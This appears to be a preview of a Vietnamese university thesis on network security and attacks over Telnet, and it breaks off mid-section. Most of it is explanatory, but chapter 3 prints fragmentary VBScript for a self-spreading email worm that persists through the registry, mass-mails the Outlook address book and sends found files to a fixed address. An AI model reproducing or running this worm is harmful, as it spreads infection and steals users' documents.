Luận văn Nghiên cứu và xây dựng một vài chương trình tấn công trên mạng Internet qua giao thức Telnet

Việc nghiên cứu vấn đề an ninh an toàn cho mạng máy tính là một ván đề lớn và khó, vì vậy trong phạm vi khoá luận em chỉ đưa ra cái nhìn tổng quan và giải pháp cơ bản cho vấn đề. Nội dung chính của khoá luận là phần giới thiệu tổng quan về mạng Internet và cơ chế hoạt động của giao thức Telnet với mục đích phân tích các nguy cơ tiềm ẩn mà kẻ tấn công có thể lợi dụng để xâm nhập hệ thống mạng nói chung và qua giao thức Telnet nói riêng, đồng thời đưa ra một số chương trình ví dụ về tấn công trên mạng qua giao thức Telnet. Trên cơ sở phân tích những nguy cơ tiềm ẩn với hệ thống mạng em đã nghiên cứu một số cơ sỏ, giải pháp đảm bảo an ninh cho mạng.

pdf76 trang | Chia sẻ: lylyngoc | Lượt xem: 3104 | Lượt tải: 2download
Bạn đang xem trước 20 trang tài liệu Luận văn Nghiên cứu và xây dựng một vài chương trình tấn công trên mạng Internet qua giao thức Telnet, để xem tài liệu hoàn chỉnh bạn click vào nút DOWNLOAD ở trên
thì họ sẽ phải chịu trách nhiệm về việc dùng tài khoản của mình. Đôi khi, người dùng có thể phá vỡ quy tắc chia sẻ để giúp bạn bè hay để làm hỏng "sổ sách", và hậu quả là hệ thống bị truy cập bởi những người không được uỷ quyền và rất có thể gây hại cho hệ thống. Mật khẩu có thể là do hệ thống (máy) sinh ra hoặc do người dùng lựa chọn lấy. Các mật khẩu do máy sinh ra có thể rất khó nhớ nên người sử dụng rất hay ghi chúng ra đâu đó (như thế cũng có nghĩa là mất an toàn). Nhưng nếu là mật khẩu do người dùng chọn thì lại thường dễ đoán. Trong một số hệ thống, người quản trị đôi khi kiểm tra mật khẩu của người sử dụng và nhắc nhở họ nếu mật - 40 - khẩu là quá ngắn hay quá dễ đoán. Một số hệ thống khác lại tính "tuổi thọ" của mật khẩu, buộc người sử dụng thay đổi mật khẩu của họ sau những khoảng thời gian nhất định (3 tháng 1 lần chẳng hạn). Cách này không dễ thực hiện vì người sử dụng rất có thể lẫn giữa 2 mật khẩu. Tuy nhiên, có thể giải quyết bằng cách lưu lại quá trình sử dụng của mật khẩu như đã làm ở một số hệ thống: n mật khẩu sử dụng gần đây nhất sẽ không được dùng lại chẳng hạn. 2.3.4.3 Mật khẩu được mã hoá Vấn đề khó khăn với tất cả các cách làm trên là việc giữ bí mật mật khẩu như thế nào. Hệ thống UNIX sử dụng biện pháp mã hoá để giữ bí mật danh sách mật khẩu của nó. Mỗi người dùng có một mật khẩu. Hệ thống sử dụng một hàm dễ tính toán (xuôi chiều) nhưng việc tính hàm ngược lại thì cực kì khó (và nhà thiết kế thì hy vọng là không thể được). Tức là, với một giá trị x cho trước thì tính f(x) là dễ dàng nhưng với giá trị f(x) cho trước thì không thể tìm ra được x. Hàm này sẽ mã hoá tất cả các mật khẩu, và hệ thống chỉ lưu những mật khẩu đã được mã hoá. Khi người sử dụng nhập mật khẩu thì mật khẩu này sẽ được mã hoá, sau đó đem so sánh với mật khẩu lưu trong máy. Như vậy, ngay cả khi mật khẩu (đã được mã hoá) bị nhìn thấy thì mật khẩu gốc cũng không bị lộ (do không giải mã được mật khẩu mã hoá). Vì thế, file lưu mật khẩu cũng không phải giữ bí mật; Hàm f(x) nói trên thường là một giải thuật mã hoá đã được thiết kế và chạy thử nghiệm rất cẩn thận . Điểm yếu trong phương pháp này là ở chỗ hệ thống không còn điều khiển trên các mật khẩu nữa. Tức là, mặc dù mật khẩu đã được mã hoá nhưng một người nào đó với bản sao của file mật khẩu trong tay vẫn có thể chạy các tiểu trình mã hoá rất nhanh, để mã từng từ trong từ điển chẳng hạn, rồi so sánh kết quả với những mật khẩu đã mã hoá có trong file mật khẩu. Và như vậy, nếu người sử dụng chọn mật khẩu là từ nào đó trong từ điển thì nó đã bị phá (crack). - 41 - Với những máy tính đủ nhanh, những phép so sánh như thế chỉ mất vài giờ đồng hồ. Cho dù các hệ thống UNIX thường sử dụng các giải thuật mã hoá nổi tiếng là khó phá thì một tin tặc (hacker) cũng có thể có được một vùng đệm các cặp "mật khẩu - mã" để tìm nhanh các mật khẩu đã từng bị crack trước đó. Vì lý do này, những phiên bản UNIX mới đã dấu những file mật khẩu đi. Một điểm yếu khác trong các phương pháp mật khẩu của UNIX là nhiều hệ thống UNIX chỉ chú trọng đến 8 ký tự đầu tiên của mật khẩu, do đó tận dụng không gian mật khẩu sẵn có là vô cùng quan trọng đối với người sử dụng. Để tránh phương pháp mã hoá từ điển, một số hệ thống không cho phép người dùng sử dụng những từ trong từ điển làm mật khẩu. 2.2.4.4 Mật khẩu một lần Để tránh cho mật khẩu khỏi lộ vì bị "nhìn trộm" (shoulder surfing) hay do bị dò trộm bằng điện tử (sniffing), người ta dùng tập các mật khẩu cặp đôi. Khi bắt đầu phiên làm việc, hệ thống sẽ đưa ra phần nửa đầu của mật khẩu, người sử dụng phải cung cấp phần còn lại. Trong quy trình này, hệ thống đưa ra 1 lời hô (ám hiệu) và người sử dụng phải đáp lại bằng câu trả lời chính xác. Cách làm này có thể xem như là việc dùng 1 thuật giải làm mật khẩu. Giải thuật ở đây có thể là một hàm nguyên chẳng hạn. Hệ thống sẽ chọn và đưa ra cho người sử dụng 1 số nguyên ngẫu nhiên. Người dùng sẽ áp dụng hàm vào và trả lại kết quả đúng. Hệ thống cũng áp dụng hàm đó và nếu 2 kết quả phù hợp nhau thì truy cập được cho phép. Ngoài ra, một phương pháp mật khẩu khác cũng rất khó phá, chẳng hạn khi người dùng gõ vào một mật khẩu nhưng bất kỳ hành động nào nhằm chen ngang và có ý định sử dụng lại mật khẩu đó đều không thành công. Hệ thống như vậy sử dụng những mật khẩu thuật toán. Trong hệ này, người sử dụng và hệ thống có chung một điều bí mật. Bí mật này không bao giờ bị truyền trên các - 42 - phương tiện có thể dẫn đến lộ. Thay vào đó, nó được dùng cùng với một "nhân" dùng chung làm đầu vào cho hàm tính toán f(secret,seed). "Nhân" ở đây là một số ngẫu nhiên hay một dãy chữ và số, nó chính là phần lời "hô" từ phía hệ thống trong phiên xác thực. Kết quả tính toán của hàm được truyền như một mật khẩu tới máy trạm. Vì máy trạm cũng biết phần bí mật và nhân nên nó cũng có thể thực hiện được tính toán tương tự như thế. Nếu các kết quả phù hợp nhau, người sử dụng đã được chứng thực. Trong phiên xác thực sau, một nhân khác được tạo ra và các bước làm tương tự như trên, tuy nhiên mật khẩu lần này đã khác. Chính vì mật khẩu khác nhau trong từng trường hợp nên nếu ai đó có chặn bắt được mật khẩu trong phiên làm việc này và định sử dụng nó cho phiên làm việc sau tất nhiên sẽ thất bại. Như vậy, mật khẩu một lần ngăn chặn được sự chứng thực không chính xác do lộ mật khẩu. Một biến thể khác của mật khẩu một lần là việc sử dụng sách mã, hay bộ đệm một lần: danh sách các mật khẩu chỉ dùng 1 lần. Mỗi mật khẩu trong danh sách theo thứ tự sau khi dùng sẽ bị gạch đi hay bị xoá. Hệ thống S/Key thông dụng dùng các phần mềm tính toán hay các sách mã dựa trên kết quả của những tính toán này làm nguồn các mật khẩu một lần. - 43 - - 44 - CHƯƠNG III XÂY DỰNG MỘT SỐ CHƯƠNG TRÌNH TẤN CÔNG TRÊN MẠNG QUA GIAO THỨC TELNET 3.1 Những nguy cơ gây mất an ninh trên mạng Internet cung cấp rất nhiều kỹ thuật để người dùng có thể truy nhập, khai thác, chia xẻ thông tin. Tuy nhiên, đây cũng chính là nguy cơ dẫn đến thông tin của bạn có thể bị hư hỏng hoặc phá huỷ hoàn toàn. Theo thống kê cho thấy những vụ tấn công trên mạng nhằm vào tất cả máy tính có mặt trên Internet. Tất cả máy tính của các trường đại học, các công ty, tổ chức quân sự, nhà băng… trong số đó có một số vụ tấn công có quy mô khổng lồ (có tới 100.000 máy tính bị tấn công). Không chỉ số lượng các vụ tấn công tăng lên một cách nhanh chóng mà các phương pháp tấn công cũng ngày càng được hoàn thiện. Các phương pháp tấn công chủ yếu là đoán tên người sử dụng-mật khẩu (User-password) hoặc sử dụng một số lỗi của các chương trình và hệ điều hành (Security hole) làm vô hiệu hoá hệ thống bảo vệ, tuy nhiên các cuộc tấn công vào thời gian gần đây bao gồm cả các thao tác như giả mạo địa chỉ IP, theo dõi thông tin truyền qua mạng, chiếm các phiên làm việc từ xa(Telnet hoặc Rlogin). Muốn bảo vệ một mạng, dịch vụ khỏi những kẻ xâm nhập, ta hãy tìm hiểu những nguyên nhân dẫn đến mất an toàn mạng máy tính. - Sự dùng chung: Chính vì sự chia xẻ tài nguyên và các khối lượng công việc trên mạng đã làm tăng số người sử dụng có khả năng truy cập tới các hệ thống được nối mạng, việc bảo vệ các tài nguyên đó tất nhiên sẽ phức tạp hơn nhiều so với trường hợp một máy tính đơn lẻ, một người sử dụng. - Sự phức tạp của hệ thống: Có thể có nhiều hệ điều hành khác nhau trên mỗi mạng, mỗi hệ điều hành lại là một phần mềm rất tinh vi và trên đó lại cài đặt rất nhiều phần mềm khác nhau. Do đó, một hệ điều hành mạng sẽ phức tạp hơn - 45 - nhiều so với hệ điều hành cho từng hệ thống đơn lẻ. Vì vậy, khó mà tin cậy được vào sự an toàn của một mạng nếu không có một hệ điều hành mạng lớn, được thiết kế đặc biệt cho vấn đề an ninh. - Có quá nhiều mục tiêu tấn công: Khi một file được lưu trữ trong một host ở xa người sử dụng nó phải qua rất nhiều host khác mới có thể sử dụng được file đó. Mặc dù người quản trị của một host đó có thể thi hành nhiều chính sách an ninh thật chặt chẽ nhưng người đó không thể làm gì khác với các host khác trong mạng. Người sử dụng phải phụ thuộc vào các cơ chế điều khiển truy cập của tất cả các hệ thống này. - Sự nặc danh: Một kẻ tấn công có thể tác động vào một hệ thống từ cách xa hàng ngàn km mà có thể không bao giờ phải tiếp xúc tận nơi hệ thống cần tấn công cũng như không cần phải tiếp xúc với bất cứ người quản trị hay người sử dụng hệ thống đó. Sự tấn công đó có thể thực hiện thông qua nhiều host khác nhằm ngụy trang nguồn gốc của nó. - Không xác định được đường dẫn: Có thể có nhiều đường dẫn từ host này sang host khác và người sử dụng hầu như không biết và không điều khiển được sự dẫn đường cho các thông điệp của họ. 3.2 Phân tích các nguy cơ gây mất an ninh trên mạng đối với giao thức Telnet Như rất nhiều dịch vụ khác trên mạng máy tính (FTP, DNS, Mail, Web…) thì Telnet cũng là một dịch vụ trên mạng máy tính cung cấp thông tin cho người sử dụng. Chính vì thế, tất cả các nguy cơ trên mạng máy tính nói chung cũng là nguy cơ đối với dịch vụ Telnet, đồng thời ngoài những nguy cơ nói chung đối với mạng máy tính thì dịch vụ Telnet còn có những nguy cơ riêng (vì nó có những đặc điểm riêng). Việc phân tích các nguy cơ cần xác định một cách rõ ràng: cái gì cần bảo vệ, bảo vệ từ đâu và bảo vệ nó như thế nào? Để làm được điều đó, ta cần phải - 46 - xem xét lại mọi nguy cơ và mức độ thiệt hại của từng loại nguy cơ đó. Điều này sẽ giúp cho ta có được một giải pháp hữu hiệu trong vấn đề bảo vệ an toàn cho mạng, cho các dịch vụ trên mạng. Hai yếu tố chính cần xác định khi phân tích nguy cơ, đó là:  Xác định nguồn tài nguyên cần bảo vệ.  Xác định nguy cơ thất thoát thông tin. 3.2.1 Xác định nguồn tài nguyên cần bảo vệ Khi phân tích các nguy cơ, một trong những bước quan trọng đó là phải xác định xem cái gì cần bảo vệ. Để làm được việc này, trước hết phải lập một danh sách những thiết bị và tài nguyên cần thiết phải áp dụng chính sách an ninh. Danh sách này bao gồm: - Phần cứng, phần mềm (các chương trình nguồn, các chương trình ứng dụng, các chương trình Test, chuẩn đoán, hệ điều hành và các chương trình điều khiển liên lạc…). - Dữ liệu (trong quá trình xử lý, dữ liệu lưu trên mạng tạm thời, lưu lâu dài, sao lưu, dữ liệu nhật ký, cơ sở dữ liệu hoặc dữ liệu chuyển tải thông qua các thiết bị liên lạc…). - Các tài liệu (chương trình, các thủ tục hướng dẫn quản trị hệ thống, quản trị phần cứng). 3.2.2 Xác định các nguy cơ thất thoát thông tin Mỗi loại tài nguyên khi mô tả phải kèm theo cả khả năng bị thất thoát thông tin và các nguy cơ đối với loại tài nguyên đó. Điều này sẽ giúp ta xem xét, đánh giá, lựa chọn các biện pháp và phương án bảo vệ tài nguyên đó. Giao tiếp giữa Client và Server dựa trên bộ giao thức TCP/IP. Đây là giao thức không an toàn bởi vì toàn bộ dữ liệu của quá trình giao tiếp giữa Client và Server không được mã hóa. - 47 - Giả sử một người sử dụng tại trạm làm việc A muốn giao tiếp với người sử dụng tại trạm làm việc B để sử dụng tài nguyên trên mạngcủa B hay của một mạng LAN nào đó. Tất cả những nhu cầu đó đều rất chính đáng đối với một người sử dụng trên mạng, nhưng bây giờ chúng ta hãy thử xem xét ở góc độ của một người có ý đồ xấu đang làm việc tại trạm M nào đó trên mạng và xem xét người đó có thể gây ra những hiệu ứng tiêu cực nào. - Đọc trộm thông tin trao đổi giữa A và B: Sự tấn công này có thể thực hiện từ bất cứ vị trí nào trên mạng. - Sửa đổi thông tin trao đổi giữa A và B: Hành động này cũng có thể được thực hiện tại mọi vị trí trên mạng. - Giả mạo thông tin trao đổi giữa A và B: Điều này còn dễ hơn cả việc sửa đổi thông tin vì sự giả mạo có thể thực hiện từ bất cứ nơi nào trên mạng và không đòi hỏi phải chặn bắt thông tin lại để sửa đổi. Bởi vì A không thể tự tay trao thông tin cho B và B cũng không có đủ cơ sở để kết luận rằng đó đúng là thông tin do A gửi. - Ngăn cản thông tin trao đổi giữa A và B: M có thể làm được điều này bằng cách xâm nhập máy của A, B, hay xâm nhập Router giữa họ. M cũng có thể phá vỡ sự giao tiếp chung bằng cách tấn công làm “ngập lụt”(Flooding attack) cả mạng hay chỉ một đường truyền duy nhất trên mạng. - Đọc dữ liệu tại trạm khác: M có thể mạo nhận là A để có thể có quyền truy cập tại các trạm mà A có quyền truy cập. M cũng có thể tìm các máy có điều khiển truy cập yếu hoặc không hoàn hảo để tấn công. - Sửa đổi hoặc phá huỷ dữ liệu tại các trạm khác: M có thể mạo danh A để làm tất cả những gì mà A có thể làm. Tóm lại, các mối nguy cơ là: - Nghe trộm đường truyền(Wiretaping). - Giả mạo(Spoofing). - 48 - - Xâm phạm tính bí mật của thông điệp (message confidentially violation). - Xâm phạm tính toàn vẹn của thông điệp (message intergrity violation). - Hacking. - Vô hiệu hoá các dịch vụ (Denial of service). - Các vấn đề về kết nối (Routing problems). 3.2.2.1 Nghe trộm đường truyền Thuật ngữ “wiretap” có nghĩa là “chắn luồng giao tiếp” nhưng thực tế lại không có hành động “chắn” nào xảy ra cả mà nó lại được thực hiện một cách bí mật, sao cho cả người gửi và người nhận đều không biết giao tiếp của họ đang bị can thiệp vào. Có hai loại nghe trộm đường truyền: Loại “thụ động” chỉ nhằm mục tiêu nắm bắt được thông tin đang trao đổi (có thể không nắm bắt được nội dung nhưng có thể dò ra người gửi, người nhận nhờ vào thông tin điều khiển giao thức chứa trong phần đầu gói tin), trong khi loại “chủ động” lại có mục đích làm thay đổi nội dung đang trao đổi đó. 3.2.2.2 Giả mạo Giả mạo là một cách để đạt được mục đích có được thông tin một cách trực tiếp (không cần phải nghe trộm đường truyền mà vẫn có được thông tin tương tự). Kẻ giả mạo tấn công vào hệ thống có thể làm được những việc sau: - Lấy các chi tiết từ phiên làm việc đó. - Phá huỷ hoặc làm tê liệt cơ chế xác thực ở máy tính đích. - Sử dụng một mục tiêu mà dữ liệu xác thực đã biết. 3.2.2.3 Xâm phạm tính bí mật của thông điệp Cả hai cách tấn công trên đều dẫn tới sự xâm phạm tính bí mật của thông điệp. Một số yếu tố khác cũng ảnh hưởng tới sự bí mật của thông điệp như sự - 49 - phân phát nhầm các thông điệp; vì những lỗi phần cứng hay phần mềm của mạng; sự phân tích dòng thông tin lưu thông về sự tồn tại của các thông điệp(nhiều khi điều này còn quan trọng hơn là nội dung của chính những thông điệp đó) về kích thước, lưu lượng các thông điệp… Trong trường hợp này, chúng ta cần phải bảo vệ cả nội dung thông điệp cũng như các thông tin xác định người gửi, người nhận… 3.2.2.4 Xâm phạm tính toàn vẹn của thông điệp Tính toàn vẹn của một thông điệp cũng không kém phần quan trọng so với tính bí mật trong nhiều trường hợp. Kẻ tấn công có thể làm những việc sau: - Thay đổi thông điệp (một phần hay toàn bộ nội dung của một thông điệp; sử dụng lại, đổi nguồn, định hướng lại thông điệp; xoá hay phá huỷ một thông điệp). Nguồn gốc của loại tấn công là nghe trộm đường truyền “chủ động”, con ngựa thành Tơ-roa, giả mạo,… - Gây nhiễu tín hiệu đường truyền. Tuy nhiên, các giao thức truyền thông hiện nay đều có cơ chế khắc phục hiện tượng nhiễu. Chẳng hạn như bộ giao thức TCP/IP nếu lỗi truyền xảy ra thì có thể được phát hiện ngay và truyền lại. 3.2.2.5 Hacking Hacking luôn là mối đe dọa thường trực trên mạng với nhiều hình thức tấn công. Các Hacker có thể mạo danh để truy cập một host, sau đó sử dụng mối quan hệ tin cậy giữa các host để thiết lập các phiên làm việc tiếp theo. Từ đây, Hacker có thể gửi các thông báo sai lệch hoặc làm tê liệt các dịch vụ bằng cách phát động tấn công làm ngập lụt cả mạng cục bộ… 3.2.2.6 Sự ngập lụt các dịch vụ Một số kẻ phá hoại có thể tàn phá đường truyền thông trên mạng bằng cách tạo ra những thông báo sai lệch nhằm mục đích tăng lượng giao thông trên mạng, từ đó làm suy yếu, tê liệt các dịch vụ người dùng. Điều thách thức là ở - 50 - chỗ các kiểu tấn công này xuất phát từ tầng mạng, nơi các nhà phát triển ứng dụng mạng có rất ít các công cụ để ngăn chặn các cuộc xâm nhập ngoài ý muốn. Tấn công từ chối dịch vụ là hành động mà các tin tặc lợi dụng đặc điểm hoặc lỗi an toàn thông tin của một hệ thống dịch vụ nhằm làm ngưng trệ hoặc ngăn cản người dùng truy nhập dịch vụ đó. Thường thì tấn công từ chối dịch vụ gây cho chương trình hoặc hệ thống bị đổ vỡ hoặc bị treo, tê liệt một phần hoặc toàn bộ, buộc người quản trị hệ thống phải tạm ngừng cung cấp dịch vụ để sửa lại hoặc khởi động lại hệ thống. Đặc điểm duy nhất của kiểu tấn công này là không lấy mất thông tin hệ thống, nó thường chỉ gây cho hệ thống tê liệt, không hoạt động được, đôi khi gây hỏng hóc hoặc phá hoại thông tin trên hệ thống. 3.2.2.7 Các vấn đề về kết nối Muốn vô hiệu hoá mạng máy tính hoặc một dịch vụ nào đó kẻ tấn công có thể tấn công vào bảng định tuyến (Router), vì sự thay đổi trong bảng này có thể làm tê liệt tất cả các giao tiếp, một giao tiếp tới một trạm cụ thể, hoặc dẫn đường cho giao tiếp đó tới kẻ tấn công để đọc, sửa đổi, phá hoại,… Tấn công vào Router thường làm cho các gói tin không chuyển tiếp được hoặc chuyển tiếp được nhưng không dễ dàng. Trong một số trường hợp có thể dẫn đến mất cấu hình. Kiểu tấn công này gọi là tấn công ngập lụt(flood attack), tức là router bị “dội bom” liên tục bằng các gói tin. 3.2.3 Truy nhập bất hợp pháp qua giao thức Telnet Đây là nguy cơ xâm nhập mang tính phá hoại lớn nhất là kẻ xấu có được quyền máy chủ Web hay máy chủ quản trị mạng nhất là đối với công tác của ngành ta thì yêu cầu bảo mật thông tin luôn được đặt lên hàng đầu. Kẻ xâm nhập cố gắng đoạt được tất cả các quyền (kể cả quyền cao nhất) để điều khiển toàn bộ máy chủ. Hậu quả của sự sơ hở này là: “Người sử dụng từ xa có thể vận hành tất cả các CGI Script, các đoạn mã thi hành như là người quản trị đang ngồi tại máy chủ”. Đồng thời, từ xa kẻ tấn công có thể trực tiếp sửa đổi, sử dụng các CGI - 51 - Script, hoặc dùng một chương trình để sửa đổi các thông tin trên máy chủ, dẫn đến sự sai lệch về nội dung, hình thức hoặc có thể phá huỷ toàn bộ tài nguyên trên máy chủ. Nguy cơ xâm nhập tiếp theo nằm trong các chương trình CGI Script, CGI Script được sử dụng trong hầu hết các trang Web và cung cấp các phương tiện cho người sử dụng truy cập từ xa vào máy chủ. Tuy nhiên, nguy cơ xâm nhập này có thể hạn chế bằng một số hướng dẫn đơn giản sau: Trước tiên, phải đảm bảo rằng máy chủ không được hoạt động với quyền cao nhất. Sau đó, phải tập trung tất cả các Script vào một thư mục. Làm như vậy giúp ta dễ dàng theo dõi các Script. Tiếp đó phải đảm bảo không tệp nào trong cây thư mục CGI bị ghi đè. Nếu không, những kẻ xâm nhập có thể lợi dụng sơ hở này để tạo và vận hành các Script của riêng họ. Kẻ xâm nhập luôn tìm mọi cách để có thể lợi dụng sơ hở của người sử dụng, lợi dụng sai sót hoặc những lỗ hổng của chương trình hoặc chính những sai sót của Server để làm những việc bất hợp pháp. Do vậy, dù đã áp dụng rất nhiều phương pháp, cách thức bảo vệ nhưng nguy cơ truy nhập từ xa bất hợp pháp vẫn là một vấn đề phải đặt ra đối với bất cứ một tổ chức, công ty hay cơ quan nào tham gia mạng Internet. 3.3. Một số chương trình tấn công qua giao thức Telnet 3.3.1 Chương trình tấn công qua thư điện tử (Email) 3.3.1.1 Gửi thư điện tử qua Telnet Các Internet Mail Server cung cấp giao thức SMTP (Simple Mail Transfer Protocol) cho phép bạn gửi Mail qua Server đó tại cổng 25 bằng cách thực hiện câu lệnh: Telnet.smtp.mail.yahoo.com 25 Một số lệnh cần dùng: - USER : Tên người sử dụng để mở hộp thư. - 52 - - PASS : Mật khẩu để mở hộp thư. - LIST: Liệt kê các Email có trong hộp thư. - RETR: Xem nội dung thư có số thứ tự là Number. - QUIT: Đóng Telnet Session. - MAIL FROM: Địa chỉ Email của người gửi. - RCPT TO: Địa chỉ Email của người nhận. - DATA: Nhập nội dung Email, muốn kết thúc phải xuống dòng và nhập dấu “.”. - RSET: Xóa các thông tin lần gửi mới nhất, dùng khi bạn muốn gửi đến người khác. 3.3.1.2 Kỹ thuật lây nhiễm qua thư điện tử Cách tấn công phổ biến hiện nay là đính kèm Virus vào Email vì hầu hết các ứng dụng có dịch vụ thư điện tử đều hỗ trợ chức năng gắn kèm các file vào thư (attach files). Trong trường hợp cụ thể có thể tạo Virus ngay trong thư. Các phần mềm nhận, gửi thư điện tử thường hỗ trợ hai kiểu: HTML và Plain Text. Trong kiểu HTML cho phép sử dụng kiểu file .HTML có tính năng thi hành các mã Script. Do đó, virus có khả năng thực hiện ngay cả khi người sử dụng đọc Email (thậm chí ngay cả khi chưa mở thư) nếu không đặt chế độ cảnh báo với các Active X. Một số ứng dụng còn hỗ trợ khả năng thi hành các mã Script khi mở file đính kèm. Trong một hệ gửi, nhận thư điện tử (email) thường được hỗ trợ khả năng thi hành các mã Script. Như vậy, nếu trong một file đính kèm nào đó, bên cạnh những mã Script thông thường có cả những mã Script của virus thì rõ ràng là khi mở file đính kèm cũng sẽ là thời điểm virus được kích hoạt. Thông thường, khi gửi từ một máy nào đó, trong thư đã được cập nhật địa chỉ của người gửi là địa chỉ của người chủ sử dụng được lưu trữ trên máy đó. Như vậy, khi người nhận thư xem phần thông tin địa chỉ người gửi cũng sẽ yên tâm, không - 53 - mấy nghi ngờ, vì có thể người gửi thư đã có một quan hệ quen biết từ trước đó. Bên cạnh đó, những chủ đề, những tên File đính kèm có thể được đặt sao cho khêu gợi sự tò mò của số đông người sử dụng máy tính. 3.3.1.3 Kỹ thuật phát tán thư trên mạng Trong các ứng dụng Office, có thể tạo và gửi một bức thư điện tử trên cơ sở sử dụng những hỗ trợ mà chương trình ứng dụng cung cấp. Một phương pháp khác thường được sử dụng là khai thác các dịch vụ hỗ trợ của các chương trình chuyên dụng như MicroSoft Outlook, Outlook Express... để soạn và gửi thư. Virus tiến hành tạo một đối tượng ứng dụng (Application) của ứng dụng hỗ trợ Email, sau đó sử dụng các phương thức, thuộc tính của đối tượng để tiến hành tạo và gửi Email lên máy chủ. Đoạn mã sau đây minh hoạ cách khởi tạo đối tượng Outlook của Microsoft Outlook: Set Out=WScript.CreateObject("Outlook.Application") Set mapi=Out.GetNameSpace("MAPI") Sau khi khởi tạo được đối tượng Outlook.Application, virus có thể tiến hành các thao tác soạn thư và gửi thư. So với các virus file, các virus macro có nhiều thuận lợi hơn trong việc tìm địa chỉ trên máy tính, tạo và gửi thư. Các chương trình như Microsoft Outlook, Outlook Express hay một số chương trình hỗ trợ thư điện tử cho phép tạo lập các sổ địa chỉ, nhằm mục đích giúp người sử dụng không phải nhớ hết các địa chỉ Email, cũng như cho phép có thể cùng lúc gửi thư đến cho rất nhiều người. Dò theo sổ địa chỉ này mà virus có thể lây lan khá nhanh trên mạng. 3.1.2.4 Kỹ thuật phá hoại Một số dạng phá hoại của Virus có thể gặp: - Virus bám theo thư điện tử có thể gây ra ách tắc, cản trở hoạt động trên mạng. Việc phát tán thư - virus theo các địa chỉ trong các sổ địa chỉ làm cho việc lây lan trở nên rất nhanh. - 54 - - Tạo các cổng nghe chờ đợi (Listen port) các lệnh chỉ thị cho virus tiến hành các hoạt động phá hoại hay do thám: gửi các file nào đó, lấy trộm các mật khẩu, khởi động lại hay thậm chí phá huỷ hệ thống. - Tấn công theo phương pháp ngăn chặn dịch vụ (DOS - Denial of Service): một virus tạo các kết nối tới một máy chủ HTTP/FTP nào đó và để chúng mở. Nếu có nhiều người sử dụng bị lây nhiễm virus, số kết nối có thể vượt quá số lượng tối đa mà máy chủ cung cấp. Virus cũng có thể liên tiếp gửi các thông điệp đến máy chủ để gây quá tải hoạt động, gây ra những hậu quả nghiêm trọng cho các giao dịch trên mạng và dữ liệu trên máy chủ. - Cho phép các kết nối trên một cổng nào đó, sau đó định hướng lại đến một máy/cổng khác. - Tiến hành các hoạt động khác trên mạng, sử dụng địa chỉ của người khác, thay vì sử dụng địa chỉ của người viết virus. - Lấy cắp mật khẩu, acount của người dùng. - Phá hỏng dữ liệu trên ổ cứng, phá hỏng hệ thống WEB trên mạng. 3.1.2.5 Chương trình đính kèm Email sử dụng VB Script 3.1.2.5.1 Mục đích của chương trình Chương trình này áp dụng các kỹ thuật trên nhằm thực hiện những mục đích sau: - Tạo một virus đính kèm Email gửi cho người nhận. - Copy Virus vào hệ thống, thi hành virus mỗi khi khởi động hệ thống. - Lấy tài liệu của đối tượng trên hệ thống đó gửi về địa chỉ nhất định. - Duyệt tìm các địa chỉ trong hộp thư người nhận và phát tán thư theo các địa chỉ đó. 3.1.2.5.2 Mã nguồn chương trình Khởi tạo các đối tượng Const MailAddress = "trungkien@yahoo.com" - 55 - Dim fso, WinSystem, Windows, VirTxt, file, wscr Set wscr = CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") Set file = fso.OpenTextFile(WScript.ScriptFullName, 1) Lấy đường dẫn thư mục Windows, Windows/system Set Windows = fso.GetSpecialFolder(0) Set WinSystem = fso.GetSpecialFolder(1) Copy Virus vào thư mục Windows, Windows/system Set VirBody = fso.GetFile(WScript.ScriptFullName) VirBody.copy(Windows&"\Win32.vbs") VirBody.copy(WinSystem&"\system32.vbs") Thủ tục thiết lập chế độ gửi thư ngay khi kết nối Modem wscr.RegWrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Outlook\Option\Ma il\Send Mail Immediately", 1, "REG_DWORD" Thủ tục để virus hoạt động mỗi khi khởi động hệ thống "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru n\system32",WinSystem&"\system32.vbs" 'wscr.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru nServices\win32DLL",Windows&"\Win32.vbs" Thủ tục phát tán thư trên mạng Dim i, j, Mail, Add, AddBook, Flag, mapi, OutLook Khởi tạo Microsoft Outlook Set OutLook = WScript.CreateObject("Outlook.Application") Set mapi = OutLook.GetNameSpace("MAPI") Flag = 0 - 56 - Set Mail = OutLook.CreateItem(0) Duyệt từng địa chỉ trong sổ địa chỉ của Outlook Express For i = 1 To mapi.AddressLists.Count Set AddBook = mapi.AddressLists(i) For j = 1 To AddBook.AddressEntries.Count Add = AddBook.AddressEntries (j ) Mail.Recipients.Add (Add) Flag = 1 Next Next Thủ tục lấy tài liệu từ máy khác gửi về địa chỉ nhất định Tìm trong tất cả các ổ đĩa và các thư mục Set folder = fso.GetFolder(folderspec) If fso.FileExits(folder.Path & "\" & TargetFile) Then SendFile (folder.Path & "\" & TargetFile) Set SubFolders = folder.SubFolders For Each FolderItem In SubFolders SearchFile (FolderItem.Path) Next Set drivers = fso.Drives For Each driver In drivers If driver.DriveType = 2 Or driver.DriveType = 3 Then SearchFile (driver.Path & "\") End If Next Gửi dữ liệu về địa chỉ đã biết trước Khởi tạo Microsoft Outlook - 57 - Set OutLook = WScript.CreateObject("Outlook.Application") Set mapi = OutLook.GetNameSpace("MAPI") Set Mail = OutLook.CreateItem(0) Mail.Recipients.Add (MailAddress) Mail.Subject = "…" Mail.Body = "…" Mail.Attachments.Add (filespac) Mail.Send Set OutLook = Nothing Set mapi = Nothing End Sub 3.1.2.5.3 Kết quả chạy chương trình Khi chạy chương trình này thì Virus sẽ được Copy vào hệ thống, Virus sẽ được thực thi mỗi lần hệ thống khởi động đồng thời tìm tất cả các địa chỉ trong hộp địa chỉ (Address Book)của người nhận và tiếp tục gửi Email đính kèm Virus cho họ. Ví dụ, trong hộp địa chỉ của người nhận có 4 địa chỉ là: Tuananh, V1, Quang, Vu thì sau khi chạy chương trình sẽ có kết quả như sau: - 58 - Trong trường hợp ta muốn tìm một tài liệu trên hệ thống của đối tượng thì sau khi được kích hoạt Virus sẽ tìm trên hệ thống xem có tài liệu đó không, nếu có thì sẽ gửi tài liệu đó về một địa chỉ đã biết trước. Giả sử ta cần tìm File có tên là Virus.txt, sau khi chạy chương trình sẽ có kết quả như sau: - 59 - 3.1.2.5 Chương trình lấy Password của hộp thư điện tử 3.1.2.5.1 Mục đích của chương trình Thư điện tử 